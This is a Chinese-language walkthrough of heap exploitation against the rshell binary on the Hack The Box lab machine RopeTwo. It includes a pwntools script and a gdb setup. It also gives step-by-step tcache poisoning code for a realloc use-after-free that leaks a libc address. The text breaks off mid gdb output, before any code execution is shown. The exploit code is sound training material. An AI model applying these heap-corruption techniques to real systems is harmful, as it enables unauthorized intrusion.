为了与这个二进制文件交互，使用一些工具。首先，启动一个Python利用脚本。首先，它将只有与rshell中的各种命令交互的方法(这个脚本假设我的ssh公钥在chromeuser的authorized_keys文件中):

 - exp.py

``` bash
#!/usr/bin/env python3

import pdb
from pwn import *


prompt = '$ '

def ls():
    p.sendline('ls')
    res = p.recvuntil(prompt)
    for line in res.split(b'\n')[:-1]:
        print(line.decode())

def add(name, size, content='x'):
    p.sendline(f'add {name}')
    res = p.recvuntil(('size: ', prompt))
    if res.endswith(prompt.encode()): 
        pdb.set_trace()
        return
    p.sendline(f'{size}')
    if size > 0:
        p.recvuntil('content: ')
        p.sendline(content)
    res = p.recvuntil(prompt)
    return res 
    
def rm(name, wait=True):
    p.sendline(f'rm {name}')
    if wait:
        p.recvuntil(prompt)

def edit(name, size, content='x'):
    p.sendline(f'edit {name}')
    res = p.recvuntil(('size: ', prompt))
    if res == prompt: 
        pdb.set_trace()
        return
    p.sendline(f'{size}')
    if size > 0:
        p.recvuntil('content: ')
        p.send(content)
    p.recvuntil(prompt)


rshell = ELF('./rshell')
libc = ELF('./libc.so.6-ropetwo')

if args.REMOTE:
    remote = ssh(host='10.10.10.196', user='chromeuser', keyfile='/root/keys/ed25519_gen')

if args.REMOTE:
    p = remote.run('rshell')
else:
    p = process('./rshell')
p.recvuntil('$ ')
x=1
```

 - Libc

使用与RopeTwo相同的libc

``` bash
chromeuser@rope2:~$ ldd /usr/bin/rshell
        linux-vdso.so.1 (0x00007ffd1df75000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbe10a9c000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fbe10c96000)
```

使用scp来获取libc.so.6, (在我的主机把它命名为libc.so.6-ropetwo)和ld-linux-x86-64.so.2。

想要libc的debug符号，所以使用与[PlayerTwo](https://0xdf.gitlab.io/2020/06/27/htb-playertwo.html#fix-heapinfo)相同的过程:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/rope2]
└─# proxychains wget https://answers.launchpad.net/ubuntu/+source/glibc/2.29-0ubuntu2/+build/16599428/+files/libc6-dbg_2.29-0ubuntu2_amd64.deb
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
--2021-02-17 15:53:59--  https://answers.launchpad.net/ubuntu/+source/glibc/2.29-0ubuntu2/+build/16599428/+files/libc6-dbg_2.29-0ubuntu2_amd64.deb
正在解析主机 answers.launchpad.net (answers.launchpad.net)... 224.0.0.1
正在连接 answers.launchpad.net (answers.launchpad.net)|224.0.0.1|:443... [proxychains] Dynamic chain  ...  127.0.0.1:1080  ...  answers.launchpad.net:443  ...  OK
已连接。
已发出 HTTP 请求，正在等待回应... 303 See Other
位置：https://launchpadlibrarian.net/418347029/libc6-dbg_2.29-0ubuntu2_amd64.deb [跟随至新的 URL]
--2021-02-17 15:54:03--  https://launchpadlibrarian.net/418347029/libc6-dbg_2.29-0ubuntu2_amd64.deb
正在解析主机 launchpadlibrarian.net (launchpadlibrarian.net)... 224.0.0.2
正在连接 launchpadlibrarian.net (launchpadlibrarian.net)|224.0.0.2|:443... [proxychains] Dynamic chain  ...  127.0.0.1:1080  ...  launchpadlibrarian.net:443  ...  OK
已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：5698988 (5.4M) [application/x-debian-package]
正在保存至: “libc6-dbg_2.29-0ubuntu2_amd64.deb”

libc6-dbg_2.29-0ubuntu2_amd64.deb  100%[===============================================================>]   5.43M  1.96MB/s  用时 2.8s    

2021-02-17 15:54:09 (1.96 MB/s) - 已保存 “libc6-dbg_2.29-0ubuntu2_amd64.deb” [5698988/5698988])
┌──(root💀kali)-[~/hackthebox/machine/rope2]
└─# dpkg --fsys-tarfile libc6-dbg_2.29-0ubuntu2_amd64.deb | tar xOf - ./usr/lib/debug/lib/x86_64-linux-gnu/libc-2.29.so > libc-2.29.so
┌──(root💀kali)-[~/hackthebox/machine/rope2]
└─# eu-unstrip libc.so.6-ropetwo libc-2.29.so
──(root💀kali)-[~/hackthebox/machine/rope2]
└─# mv libc-2.29.so{,-debug}
```

现在将使用patchelf告诉rshell使用这些:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/rope2]
└─# patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./rshell
┌──(root💀kali)-[~/hackthebox/machine/rope2]
└─# patchelf --replace-needed libc.so.6 ./libc-2.29.so-debug  ./rshell
```

本地rshell正在使用这两个库:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/rope2]
└─# ldd rshell
        linux-vdso.so.1 (0x00007ffc0cdee000)
        ./libc-2.29.so-debug (0x00007f0e2ec0c000)
        ./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f0e2ee00000)
```

 - gdb

对于初始环境，在主机上运行

``` bash
echo 0 > /proc/sys/kernel/randomize_va_space
```

来转向ASLR。这将允许在想要的地方放一个断点，而不必每次都调整。

为了跟踪堆，使用[Pwngdb](https://github.com/scwuaptx/Pwngdb)(不要与pwndbg混淆)。heapinfo命令打印出各种freed bins的漂亮视图。

将所有这些放在一起，为gdb创建了以下初始化文件:

``` bash
set pagination off
b *0x0000555555555c2b
command 1
echo -----------------------------------\n
set $cont1p = *((long int*)0x555555558060)
set $cont1 = *(char[]*)$cont1p
set $name1 = *(char[]*) 0x555555558068
printf "[0x%08x%08x] %-8s: %s\n", $cont1p >> 32, $cont1p, $name1, $cont1
set $cont2p = *((long int*)0x555555558130)
set $cont2 = *(char[]*)$cont2p
set $name2 = *(char[]*) 0x555555558138
printf "[0x%08x%08x] %-8s: %s\n", $cont2p >> 32, $cont2p, $name2, $cont2
echo -----------------------------------\n
x/48xg 0x55555555c2f0
echo -----------------------------------\n
heapinfo
continue
end
```

这将在读取下一个命令之前，在0xc2b处设置一个断点。在这个断点处，它将计算出两个文件的名称和内容，并打印结果。然后，它将从堆中打印48个单词在工作的区域(确实修改了这个地址，因为关注的是堆的不同部分)。最后，它将运行heapinfo来显示bins。然后它会继续。通过这种方式，可以逐步遍历Python脚本并从那里运行函数，gdb窗口将继续在每个命令之后打印状态。

确实在~/.gdbinit文件中注释了Peda的来源，因为无法让它停止在每个break上打印上下文，这会将正在打印的所有信息从屏幕上删除。

#### 放在一起

现在，启动Python脚本，Python调试器(pdb)设置为停止在最后一行，以便可以继续运行命令:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/rope2]
└─# python3 -mpdb -c 'b 57' -c c exp.py
Breakpoint 1 at /root/hackthebox/machine/rope2/exp.py:57
[*] '/root/hackthebox/machine/rope2/rshell'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/root/hackthebox/machine/rope2/libc.so.6-ropetwo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './rshell': pid 4649
> /root/hackthebox/machine/rope2/exp.py(57)<module>()
-> x=1
(Pdb)
```

现在在另一个面板中，将附加gdb，然后告诉它继续:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/rope2]
└─# gdb -q -p $(pidof rshell) --command=gdb-rshell.init
Attaching to process 4649
Reading symbols from /root/hackthebox/machine/rope2/rshell...
(No debugging symbols found in /root/hackthebox/machine/rope2/rshell)
Reading symbols from ./libc-2.29.so-debug...
Reading symbols from ./ld-linux-x86-64.so.2...
(No debugging symbols found in ./ld-linux-x86-64.so.2)
[----------------------------------registers-----------------------------------]
RAX: 0xfffffffffffffe00 
RBX: 0x0 
RCX: 0x7ffff7eebf81 (<__GI___libc_read+17>:     cmp    rax,0xfffffffffffff000)
RDX: 0xc7 
RSI: 0x7fffffffdf40 --> 0x0 
RDI: 0x0 
RBP: 0x7fffffffe010 --> 0x555555555c30 (push   r15)
RSP: 0x7fffffffdf28 --> 0x555555555bfa (mov    DWORD PTR [rbp-0xd4],eax)
RIP: 0x7ffff7eebf81 (<__GI___libc_read+17>:     cmp    rax,0xfffffffffffff000)
R8 : 0x2 
R9 : 0x7ffff7fcb5c0 (0x00007ffff7fcb5c0)
R10: 0x3 
R11: 0x246 
R12: 0x555555555150 (xor    ebp,ebp)
R13: 0x7fffffffe0f0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7eebf7b <__GI___libc_read+11>:        jne    0x7ffff7eebf90 <__GI___libc_read+32>
   0x7ffff7eebf7d <__GI___libc_read+13>:        xor    eax,eax
   0x7ffff7eebf7f <__GI___libc_read+15>:        syscall 
=> 0x7ffff7eebf81 <__GI___libc_read+17>:        cmp    rax,0xfffffffffffff000
   0x7ffff7eebf87 <__GI___libc_read+23>:        ja     0x7ffff7eebfe0 <__GI___libc_read+112>
   0x7ffff7eebf89 <__GI___libc_read+25>:        ret    
   0x7ffff7eebf8a <__GI___libc_read+26>:        nop    WORD PTR [rax+rax*1+0x0]
   0x7ffff7eebf90 <__GI___libc_read+32>:        push   r12
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf28 --> 0x555555555bfa (mov    DWORD PTR [rbp-0xd4],eax)
0008| 0x7fffffffdf30 --> 0x7ffff7ffeac0 --> 0x7ffff7ffe9f0 --> 0x7ffff7ffe758 --> 0x7ffff7ffe730 --> 0x7ffff7fd0000 (jg     0x7ffff7fd0047)
0016| 0x7fffffffdf38 --> 0x0 
0024| 0x7fffffffdf40 --> 0x0 
0032| 0x7fffffffdf48 --> 0x0 
0040| 0x7fffffffdf50 --> 0x0 
0048| 0x7fffffffdf58 --> 0x0 
0056| 0x7fffffffdf60 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00007ffff7eebf81 in __GI___libc_read (fd=0x0, buf=0x7fffffffdf40, nbytes=0xc7) at ../sysdeps/unix/sysv/linux/read.c:26
26      ../sysdeps/unix/sysv/linux/read.c: 没有那个文件或目录.
Breakpoint 1 at 0x555555555c2b
```

当添加一个文件:

``` bash
(Pdb) add('test', 0x60, 'this is a test') 
b'$ '
(Pdb)
```

gdb更新：

``` bash
[0x000055555555b260] test    : this is a test

[0x0000000000000000]         : (null)
-----------------------------------
0x55555555c2f0: 0x0000000000000000      0x0000000000000000
0x55555555c300: 0x0000000000000000      0x0000000000000000
0x55555555c310: 0x0000000000000000      0x0000000000000000
0x55555555c320: 0x0000000000000000      0x0000000000000000
0x55555555c330: 0x0000000000000000      0x0000000000000000
0x55555555c340: 0x0000000000000000      0x0000000000000000
0x55555555c350: 0x0000000000000000      0x0000000000000000
0x55555555c360: 0x0000000000000000      0x0000000000000000
0x55555555c370: 0x0000000000000000      0x0000000000000000
0x55555555c380: 0x0000000000000000      0x0000000000000000
0x55555555c390: 0x0000000000000000      0x0000000000000000
0x55555555c3a0: 0x0000000000000000      0x0000000000000000
0x55555555c3b0: 0x0000000000000000      0x0000000000000000
0x55555555c3c0: 0x0000000000000000      0x0000000000000000
0x55555555c3d0: 0x0000000000000000      0x0000000000000000
0x55555555c3e0: 0x0000000000000000      0x0000000000000000
0x55555555c3f0: 0x0000000000000000      0x0000000000000000
0x55555555c400: 0x0000000000000000      0x0000000000000000
0x55555555c410: 0x0000000000000000      0x0000000000000000
0x55555555c420: 0x0000000000000000      0x0000000000000000
0x55555555c430: 0x0000000000000000      0x0000000000000000
0x55555555c440: 0x0000000000000000      0x0000000000000000
0x55555555c450: 0x0000000000000000      0x0000000000000000
0x55555555c460: 0x0000000000000000      0x0000000000000000
-----------------------------------
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0                                                                                                                 
(0x40)     fastbin[2]: 0x0                                                                                                                 
(0x50)     fastbin[3]: 0x0                                                                                                                 
(0x60)     fastbin[4]: 0x0                                                                                                                 
(0x70)     fastbin[5]: 0x0                                                                                                                 
(0x80)     fastbin[6]: 0x0                                                                                                                 
(0x90)     fastbin[7]: 0x0                                                                                                                 
(0xa0)     fastbin[8]: 0x0                                                                                                                 
(0xb0)     fastbin[9]: 0x0                                                                                                                 
                  top: 0x55555555b2c0 (size : 0x20d40)                                                                                     
       last_remainder: 0x0 (size : 0x0)                                                                                                    
            unsortbin: 0x0
```

#### 注释

开发这种漏洞利用程序太疯狂了。每次进入下一个步骤时，都必须返回并完全重新构建前一个，移动方块，尝试不同大小的bins。不可能在本文中展示所有这些步骤，但是，将尝试在完成的脚本中完成不同的目标，并展示如何使用脚本操作堆来完成所需要的任务。但是值得补充的是，当第一次在堆上获得libc地址时，代码看起来完全不同。当进入下一个步骤时，将使用相同的通用技术，但需要完全重新设计不同bins的间距和大小，以完成已经实现的目标和下一个目标。

#### 弱点

 - 描述

这里的漏洞在于编辑命令中的realloc，以及它如何根据当前大小和新大小做出反应:

| 大小比较 | 采取动作 |
| :-----| :---- |
| new_size == 0 | free(buffer), return null |
| new_size > 0 && new_size < orig_size | 分成两个块，返回相同的地址和更小的块，并在旧块的末尾留下空闲块 |
| new_size > 0 && new_size > orig_size | 释放旧块，为更大的块分配新块，并返回该地址。 |

上面的代码检查返回值是否为null，但随后只打印一条消息，而不更改存储的指针。这会给用户留下一个指向已释放内存的指针，这是很糟糕的。

 - 例子

为了看到这一点，将运行以下代码:

``` bash
(Pdb) add('1', 0x50)
b'$ '
(Pdb) add('2', 0x50)
b'$ '
(Pdb) rm('1')
(Pdb) edit('2', 0)
```

这样就剩下了以下内容(<-- 由我添加):

``` bash
-----------------------------------
[0x0000000000000000]         : (null)
[0x000055555555c2c0] 2       : `UUUU                        <-- still have pointer to chunk2
-----------------------------------
0x55555555c250: 0x0000000000000000      0x0000000000000061  <-- freed chunk 1
0x55555555c260: 0x0000000000000000      0x000055555555c010  <-- tcache pointer null, key
0x55555555c270: 0x0000000000000000      0x0000000000000000
0x55555555c280: 0x0000000000000000      0x0000000000000000
0x55555555c290: 0x0000000000000000      0x0000000000000000
0x55555555c2a0: 0x0000000000000000      0x0000000000000000
0x55555555c2b0: 0x0000000000000000      0x0000000000000061  <-- freed chunk 2
0x55555555c2c0: 0x000055555555c260      0x000055555555c010  <-- tcache pointer to freed 1, key
0x55555555c2d0: 0x0000000000000000      0x0000000000000000
0x55555555c2e0: 0x0000000000000000      0x0000000000000000
0x55555555c2f0: 0x0000000000000000      0x0000000000000000
0x55555555c300: 0x0000000000000000      0x0000000000000000
0x55555555c310: 0x0000000000000000      0x0000000000020cf1  <-- end of heap
...[snip]...
-----------------------------------
...[snip]...
                  top: 0x55555555c310 (size : 0x20cf0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x60)   tcache_entry[4](2): 0x55555555c2c0 --> 0x55555555c260  <-- both chunks in tcache list
```

这是可利用的，因为还有一个指向edit2的指针，尽管它已经被释放了。这意味着可以通过编辑2来更改tcache链表。

#### 在堆上得到libc

 - 策略

从这个小漏洞到代码执行的路径并不明显。因为ASLR，需要做的第一件事就是从libc泄露一些信息。要做到这一点，首先需要从libc获得一些东西到堆上。当释放这些bins时，它们将进入tcache，这是一堆从libc开始的单链表，然后列表容器中的每一项都是指向下一项的指针。但其他类型是双链表。这意味着每个节点既指向它后面的节点，也指向它前面的节点，因此第一个节点在libc中具有起始节点的地址。可以通过用7个给定大小的bins填充tcache，然后再释放一个bin，将一些东西放入未排序的bins中。

这将需要大量的跳跃，当被限制在只有两个“文件”的程序在同一时间。

 - 间距

ASLR和Full RELRO将改变每个单词除了低12位以外的所有内容。可以一遍又一遍地运行程序，只要以相同的顺序定义相同的块，每个地址的低12位将是相同的。这意味着可以找到一些地方，在那里可以只覆盖地址中的低字节，从而在不知道高字节的情况下更改它。这也意味着有些时候想从某个特定的空间开始。如果在0x2e0处创建了一个假块，并且不能覆盖当前指向0x320的指针。但是如果在开始时只向堆中添加一小块，并将它们移到0x310和0x350，现在可以用0x10覆盖较低的0x50。

 - 假块

创建一个假的重叠块，它可以写入下一个块的元数据。可以在上面的示例中选择，但不是第一个块写入任何感兴趣的内容，而是让它写入一些看起来像堆元数据的内容，例如，0x61:

``` bash
add('A', 0x40, p64(0)*5 + p64(0x61) + p64(0))   # A at 260 in f1
add('B', 0x40)                                  # B at 2b0 in f2
```

当运行这个时，堆看起来像:

``` bash
0x55555555c250: 0x0000000000000000      0x0000000000000051  <-- A meta
0x55555555c260: 0x0000000000000000      0x0000000000000000
0x55555555c270: 0x0000000000000000      0x0000000000000000
0x55555555c280: 0x0000000000000000      0x0000000000000061  <-- data, but looks like heap meta
0x55555555c290: 0x0000000000000000      0x000000000000000a
0x55555555c2a0: 0x0000000000000000      0x0000000000000051  <-- B meta
0x55555555c2b0: 0x0000000000000a78      0x0000000000000000  <-- B data
0x55555555c2c0: 0x0000000000000000      0x0000000000000000
0x55555555c2d0: 0x0000000000000000      0x0000000000000000
0x55555555c2e0: 0x0000000000000000      0x0000000000000000
0x55555555c2f0: 0x0000000000000000      0x0000000000020d11  <-- end of heap
```

释放A，然后释放B，把它编辑为0。然后在添加另一个0x40 bin时，将使两个文件指向同一个位置。从这里开始，移除第一个B将会进入想要攻击的地方:

``` bash
rm('A')                                         # A in 0x50 tcache, f1 empty
edit('B', 0)                                    # B -> A in 0x50 tcache, f2 still B
add('B2', 0x40)                                 # A in 0x50 tcache, f1 & f2 -> B
rm('B')                                         # B -> A in 0x50 tcache, f1 -> B
```

堆循环如下:

``` bash
0x55555555c250: 0x0000000000000000      0x0000000000000051  <-- A meta
0x55555555c260: 0x0000000000000000      0x000055555555c010  <-- A pointer to next (null) and key
0x55555555c270: 0x0000000000000000      0x0000000000000000
0x55555555c280: 0x0000000000000000      0x0000000000000061  <-- fake chunk
0x55555555c290: 0x0000000000000000      0x000000000000000a
0x55555555c2a0: 0x0000000000000000      0x0000000000000051  <-- B meta
0x55555555c2b0: 0x000055555555c260      0x000055555555c010  <-- pointer to A and key
0x55555555c2c0: 0x0000000000000000      0x0000000000000000
0x55555555c2d0: 0x0000000000000000      0x0000000000000000
0x55555555c2e0: 0x0000000000000000      0x0000000000000000
0x55555555c2f0: 0x0000000000000000      0x0000000000020d11
```

当现在用一个字符编辑B2, 0x90，它将覆盖tcache指针:

``` bash
edit('B2', 0x40, '\x90')                        # B -> fake1 in 0x50 tcache, f1 -> B
```
Heap:

``` bash
0x55555555c250: 0x0000000000000000      0x0000000000000051
0x55555555c260: 0x0000000000000000      0x000055555555c010
0x55555555c270: 0x0000000000000000      0x0000000000000000
0x55555555c280: 0x0000000000000000      0x0000000000000061
0x55555555c290: 0x0000000000000000      0x000000000000000a
0x55555555c2a0: 0x0000000000000000      0x0000000000000051
0x55555555c2b0: 0x000055555555c290      0x000055555555c010  <-- now points to fake chunk
0x55555555c2c0: 0x0000000000000000      0x0000000000000000
0x55555555c2d0: 0x0000000000000000      0x0000000000000000
0x55555555c2e0: 0x0000000000000000      0x0000000000000000
0x55555555c2f0: 0x0000000000000000      0x0000000000020d11
```

heapinfo也显示了这个:

``` bash
(0x50)   tcache_entry[3](2): 0x55555555c2b0 --> 0x55555555c290 (overlap chunk with 0x55555555c2a0(freed) )
```

如果想要访问这个块，首先需要去掉2b0。不能把它拿出来释放，否则它会回到原来的地方。所以会得到它，把它编辑成更小的大小，然后释放它，让两个更小的块进入tcache，留下假块准备好被使用。

``` bash
add('B3', 0x40)                                 # fake in 0x50 tcache, f2 -> B
edit('B3', 0x20)                                # B-end in 0x20 tcache
rm('B3')                                        # B in 0x30 tcache
```

现在，将添加一个0x40条目，它将返回290，可以使用它覆盖到b中。在这样做之前，有另一个问题。想释放B2，但不能，因为它会返回一个双自由错误。它正在检查size元数据后面0x10的键，所以需要更改它。幸运的是，有了新的重叠部分。因此，将创建它，使它保持0x51不变，为下一个tcache添加一个null，并更改键。

``` bash
add('fake1', 0x40, p64(0)*3 + p64(0x51) + p64(0))
```

现在堆显示key不再匹配坏值:

``` bash
0x55555555c250: 0x0000000000000000      0x0000000000000051
0x55555555c260: 0x0000000000000000      0x000055555555c010
0x55555555c270: 0x0000000000000000      0x0000000000000000
0x55555555c280: 0x0000000000000000      0x0000000000000061
0x55555555c290: 0x0000000000000000      0x0000000000000000
0x55555555c2a0: 0x0000000000000000      0x0000000000000051
0x55555555c2b0: 0x0000000000000000      0x000055555555000a  <-- no pointer and key ends in "\x00\x0a" and not "\xc0\x10"
0x55555555c2c0: 0x0000000000000000      0x0000000000000000
0x55555555c2d0: 0x0000000000000000      0x0000000000000021
0x55555555c2e0: 0x0000000000000000      0x000055555555c010
0x55555555c2f0: 0x0000000000000000      0x0000000000020d11
```

将释放B2和fake1，它们都进入tcache，需要一种向任意地址写入的方法时，可以在最后使用它们。

``` bash
rm('fake1')
rm('B2')
```

tcache现在看起来像:

``` bash
(0x20)   tcache_entry[0](1): 0x55555555c2e0
(0x30)   tcache_entry[1](1): 0x55555555c2b0 (overlap chunk with 0x55555555c2d0(freed) )
(0x50)   tcache_entry[3](1): 0x55555555c2b0 (overlap chunk with 0x55555555c2d0(freed) )
(0x60)   tcache_entry[4](1): 0x55555555c290 (overlap chunk with 0x55555555c2d0(freed) )
```

 - 第二假块

现在，将用大致相同的方式创建另一个假块 (在间隔一些时间之后):

``` bash
add('x', 0x30)                                  # add for spacing, but used later
rm('x')

add('C', 0x60)   # create block to be freed and steal pointer in tcache - C = 340
add('D', 0x70, p64(0)*5 + p64(0xa1) + p64(0)) # create block and fake block to put fake block meta in place - D = 3b0
rm('D') # D in tcache 0x80
add('E', 0x60, p64(0x21)*11)   # create second 0x60, E, and spray with 0x21 for next block meta fake later, E = 430
rm('C')               # f1 empty, C in 0x70 tcache
edit('E', 0)      # slot 2 -> E, E->C in 0x70 tcache
add('E2', 0x60)  # slots 1 and 2 -> E, C in 0x70 tcache
rm('E')               # slot 1 -> E, E -> C in 0x70 tache
edit('E2', 0x60, b'\xe0') # edit tcache pointer, C -> fake2 in 0x70 tcache

# next three fetch C from tcache, and get rid of it without putting it back in 0x70 tcache
add('E3', 0x60)   # fetch E, fake in 0x70 tcache
edit('E3', 0x20)  # E-end in 0x30 tcache
rm('E3')          # E in 0x50 tcache

add('fake2', 0x60, p64(0)*9 + p64(0x31) + p64(0))   # get fake block, change key for E
rm('E2') # C
add('B', 0x70) # B
```

在这里做同样的事情，尽管这次有另一个块，在偷取指针的那个块和有那个指针的那个块之间。最后，留下了两个重叠块的句柄。假块报告的大小是0xa1(尽管不能在这个程序中创建那么大的块)，另一个是在它能够写入这个块之前。

``` bash
-----------------------------------
[0x000055555555c3b0] B       : x
[0x000055555555c3e0] fake2   : 
-----------------------------------
0x55555555c3a0: 0x0000000000000000      0x0000000000000081  <-- B meta
0x55555555c3b0: 0x0000000000000a78      0x0000000000000000
0x55555555c3c0: 0x0000000000000000      0x0000000000000000
0x55555555c3d0: 0x0000000000000000      0x00000000000000a1  <-- fake2 meta
0x55555555c3e0: 0x0000000000000000      0x0000000000000000
0x55555555c3f0: 0x0000000000000000      0x0000000000000000
0x55555555c400: 0x0000000000000000      0x0000000000000000
0x55555555c410: 0x0000000000000000      0x0000000000000000
0x55555555c420: 0x0000000000000000      0x0000000000000031  <-- E meta
-----------------------------------
...[snip]...
                  top: 0x55555555c490 (size : 0x20b70) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0](1): 0x55555555c2e0
(0x30)   tcache_entry[1](3): 0x55555555c430 --> 0x55555555c430 (overlap chunk with 0x55555555c420(freed) )
(0x40)   tcache_entry[2](2): 0x55555555c460 --> 0x55555555c300
(0x50)   tcache_entry[3](1): 0x55555555c2b0 (overlap chunk with 0x55555555c2d0(freed) )
(0x60)   tcache_entry[4](1): 0x55555555c290 (overlap chunk with 0x55555555c2d0(freed) )
```

 - 得到未分类的bin

这允许做的是释放fake2，然后使用B来更改密钥，然后再次释放它。将总共释放它8次，前7次进入tcache，最后一次进入未排序的bins，这将把双链表指针留在堆上。还需要确保一个元数据后面的0xa0字节是一个有效的元数据，这就是为什么当创建E时，在里面喷洒了很多0x21字节。

``` bash
# 释放fake来填充tcache, 然后从保护双重free覆盖key
for i in range(7):
    edit('fake2', 0x0)    # 空闲的假块，把3e0放到0xa0 tcache中
    edit('B', 0x70, p64(0)*5 + p64(0xa1) + p64(0) + chr(i).encode()) # B

rm('B') # B
rm('fake2')
```

现在打开了两个文件，栈上有一个libc地址:

``` bash
-----------------------------------
[0x0000000000000000]         : (null)
[0x0000000000000000]         : (null)
-----------------------------------
0x55555555c3a0: 0x0000000000000000      0x0000000000000081
0x55555555c3b0: 0x0000000000000000      0x000055555555c010
0x55555555c3c0: 0x0000000000000000      0x0000000000000000
0x55555555c3d0: 0x0000000000000000      0x00000000000000a1
0x55555555c3e0: 0x00007ffff7fc3ca0      0x00007ffff7fc3ca0  <-- libc meta
0x55555555c3f0: 0x0000000000000000      0x0000000000000000
0x55555555c400: 0x0000000000000000      0x0000000000000000
0x55555555c410: 0x0000000000000000      0x0000000000000000
0x55555555c420: 0x0000000000000000      0x0000000000000031
-----------------------------------
                  top: 0x55555555c490 (size : 0x20b70) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x55555555c3d0 (overlap chunk with 0x55555555c420(freed) )
(0x20)   tcache_entry[0](1): 0x55555555c2e0
(0x30)   tcache_entry[1](3): 0x55555555c430 --> 0x55555555c430 (overlap chunk with 0x55555555c420(freed) )
(0x40)   tcache_entry[2](2): 0x55555555c460 --> 0x55555555c300
(0x50)   tcache_entry[3](1): 0x55555555c2b0 (overlap chunk with 0x55555555c2d0(freed) )
(0x60)   tcache_entry[4](1): 0x55555555c290 (overlap chunk with 0x55555555c2d0(freed) )
(0x80)   tcache_entry[6](1): 0x55555555c3b0
(0xa0)   tcache_entry[8](7): 0x55555555c3e0 (overlap chunk with 0x55555555c420(freed) )  <-- actually 7 in there, but only shows once
```

 - 这个指针是什么?

让gdb打印这个地址显示它在main_arena:

``` bash
(gdb) x/xg 0x00007ffff7fc3ca0
0x7ffff7fc3ca0 <main_arena+96>: 0x000055555555c490
```

[这篇文章](http://core-analyzer.sourceforge.net/index_files/Page335.html)很好地解释了main_arena是什么:

***库glibc有一个全局的“struct malloc_state”对象，名为main_arena，它是所有托管堆内存的root。***

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/ropetwo-rshell.jpg)

gdb显示了它如何包含堆中使用的所有不同指针的:

``` bash
(gdb) p main_arena
$1 = {mutex = 0, flags = 0, have_fastchunks = 0, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x55555555c490, last_remainder = 0x0, bins = {0x55555555c3d0, 0x55555555c3d0, 0x7ffff7fc3cb0 <main_arena+112>, 0x7ffff7fc3cb0 <main_arena+112>, 0x7ffff7fc3cc0 <main_arena+128>, 0x7ffff7fc3cc0 <main_arena+128>, 0x7ffff7fc3cd0 <main_arena+144>, 0x7ffff7fc3cd0 <main_arena+144>, 0x7ffff7fc3ce0 <main_arena+160>, 0x7ffff7fc3ce0 <main_arena+160>, 0x7ffff7fc3cf0 <main_arena+176>, 0x7ffff7fc3cf0 <main_arena+176>, 0x7ffff7fc3d00 <main_arena+192>, 0x7ffff7fc3d00 <main_arena+192>, 0x7ffff7fc3d10 <main_arena+208>, 0x7ffff7fc3d10 <main_arena+208>, 0x7ffff7fc3d20 <main_arena+224>, 0x7ffff7fc3d20 <main_arena+224>, 0x7ffff7fc3d30 <main_arena+240>, 0x7ffff7fc3d30 <main_arena+240>, 0x7ffff7fc3d40 <main_arena+256>, 0x7ffff7fc3d40 <main_arena+256>, 0x7ffff7fc3d50 <main_arena+272>, 0x7ffff7fc3d50 <main_arena+272>, 0x7ffff7fc3d60 <main_arena+288>, 0x7ffff7fc3d60 <main_arena+288>, 0x7ffff7fc3d70 <main_arena+304>, 0x7ffff7fc3d70 <main_arena+304>, 0x7ffff7fc3d80 <main_arena+320>, 0x7ffff7fc3d80 <main_arena+320>, 0x7ffff7fc3d90 <main_arena+336>, 0x7ffff7fc3d90 <main_arena+336>, 0x7ffff7fc3da0 <main_arena+352>, 0x7ffff7fc3da0 <main_arena+352>, 0x7ffff7fc3db0 <main_arena+368>, 0x7ffff7fc3db0 <main_arena+368>, 0x7ffff7fc3dc0 <main_arena+384>, 0x7ffff7fc3dc0 <main_arena+384>, 0x7ffff7fc3dd0 <main_arena+400>, 0x7ffff7fc3dd0 <main_arena+400>, 0x7ffff7fc3de0 <main_arena+416>, 0x7ffff7fc3de0 <main_arena+416>, 0x7ffff7fc3df0 <main_arena+432>, 0x7ffff7fc3df0 <main_arena+432>, 0x7ffff7fc3e00 <main_arena+448>, 0x7ffff7fc3e00 <main_arena+448>, 0x7ffff7fc3e10 <main_arena+464>, 0x7ffff7fc3e10 <main_arena+464>, 0x7ffff7fc3e20 <main_arena+480>, 0x7ffff7fc3e20 <main_arena+480>, 0x7ffff7fc3e30 <main_arena+496>, 0x7ffff7fc3e30 <main_arena+496>, 0x7ffff7fc3e40 <main_arena+512>, 0x7ffff7fc3e40 <main_arena+512>, 0x7ffff7fc3e50 <main_arena+528>, 0x7ffff7fc3e50 <main_arena+528>, 0x7ffff7fc3e60 <main_arena+544>, 0x7ffff7fc3e60 <main_arena+544>, 0x7ffff7fc3e70 <main_arena+560>, 0x7ffff7fc3e70 <main_arena+560>, 0x7ffff7fc3e80 <main_arena+576>, 0x7ffff7fc3e80 <main_arena+576>, 0x7ffff7fc3e90 <main_arena+592>, 0x7ffff7fc3e90 <main_arena+592>, 0x7ffff7fc3ea0 <main_arena+608>, 0x7ffff7fc3ea0 <main_arena+608>, 0x7ffff7fc3eb0 